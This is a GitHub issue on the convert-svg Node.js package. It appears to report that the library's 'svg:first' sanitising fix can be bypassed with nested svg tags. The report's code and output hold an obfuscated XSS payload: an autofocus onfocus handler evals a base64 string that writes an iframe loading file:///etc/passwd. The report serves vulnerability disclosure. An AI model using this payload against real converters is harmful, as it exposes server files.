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neocotic / convert-svg

Node.js packages for converting SVG into other formats using headless Chromium
MIT License
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svg:first #88

Open boldagihororok opened 2 years ago

boldagihororok commented 2 years ago

I saw you put svg:first on latest version which is 0.6.4. But actually if someone put to nested svg tag, then the 'first' comes to that you didn't intended to. Check the below code.

const cheerio = require("cheerio");

const svg = `
<svg><svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))" id="ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=" autofocus=""></svg>
`;

const $ = cheerio.load(svg, null, false)("svg:first");
console.log(`${$}`);

Then the result becomes like this.

<svg><svg height="100" src="x" tabindex="0" onfocus="eval(atob(this.id))" id="ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=" autofocus=""></svg>
</svg>